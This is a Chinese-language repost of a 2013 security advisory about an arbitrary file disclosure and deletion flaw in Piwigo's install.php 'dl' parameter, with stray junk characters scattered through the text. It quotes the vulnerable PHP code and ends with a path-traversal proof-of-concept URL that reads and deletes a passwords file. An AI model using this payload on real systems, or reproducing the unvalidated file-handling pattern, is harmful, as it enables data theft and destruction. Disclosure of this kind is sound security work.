Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。
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& M$ d9 |3 I6 o* fPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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( Y1 F' h; Q5 ], M/install.php:
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2 E# {4 s7 @5 a+ W8 N113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
6 S/ T" f% [3 B/ R118:   header('Content-Disposition: attachment; filename="database.inc.php"');
  a- ?$ D( X. R) j* U- D, \" R119:   header('Content-Transfer-Encoding: binary');
7 p. W- A! ^' X- k6 ^4 u4 Z# v: p" O120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
122:   unlink($filename);
123:   exit();
1 ^( a5 d6 ]2 L124: }
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8 x% h5 C& z' ~! _Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
+ N3 P" S  F% Q: u, J: ~* b           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a

7 x) j5 r. O) {. t$ l* ]Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
& C" n! U' p3 }  g( ?! B( ~( z' ^                            @zeroscience

Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843

0 a! Z9 d5 Q' m$ ~3 w+ R2 K: h15.02.2013

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. z$ u% i( T8 r0 F# Nhttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
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